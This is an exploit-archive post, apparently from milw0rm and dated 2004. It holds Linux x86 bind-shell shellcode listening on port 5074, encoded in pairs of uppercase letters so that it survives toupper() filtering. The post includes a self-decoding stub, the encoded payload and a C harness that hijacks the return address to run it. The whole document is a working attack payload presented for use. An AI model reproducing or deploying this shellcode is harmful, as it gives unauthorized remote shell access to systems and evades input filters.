linux/x86 portbind port 5074 toupper 226 bytes

/* * Bindshell puerto 5074 (TOUPPER EVASION) * 226 bytes * Bindshell original: Matias Sedalo (92 bytes) * * La binshell esta codificada usando 2 bytes para * representar 1 byte original de la siguiente forma: * byte original: 0xAB * 0x41 + 0xA = 0x4B; 0x41 + 0xB = 0x4C * byte codificado: [0x4B 0x4C] * * by Tora */ #include <stdio.h> #include <ctype.h> char shellcode[] = /* _start */ "\xeb\x02" /* jmp short A */ /* A */ "\xeb\x05" /* jmp short C */ /* B */ "\xe8\xf9\xff\xff\xff" /* call A */ /* C */ "\x5f" /* pop edi */ "\x81\xef\xdf\xff\xff\xff" /* sub edi, 0xffffffdf */ "\x57" /* push edi */ "\x5e" /* pop esi */ "\x29\xc9" /* sub ecx, ecx */ "\x80\xc1\xb8" /* add cl, 0xb8 */ /* bucle */ "\x8a\x07" /* mov al, byte [edi] */ "\x2c\x41" /* sub al, 0x41 */ "\xc0\xe0\x04" /* shl al, 4 */ "\x47" /* inc edi */ "\x02\x07" /* add al, byte [edi] */ "\x2c\x41" /* sub al, 0x41 */ "\x88\x06" /* mov byte [esi], al */ "\x46" /* inc esi */ "\x47" /* inc edi */ "\x49" /* dec ecx */ "\xe2\xed" /* loop bucle */ /* Shellcode codificada de 184 (0xb8) bytes */ "DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB" "AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA" "JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO" "BLAALMNIA"; int main(void) { int *ret; char *t; for (t = shellcode; *t; t++) if (islower(*t)) *t = toupper(*t); ret=(int *)&ret +3; printf("Shellcode lenght=%d\n",strlen(shellcode)); (*ret) = (int)shellcode; } // milw0rm.com [2004-09-26]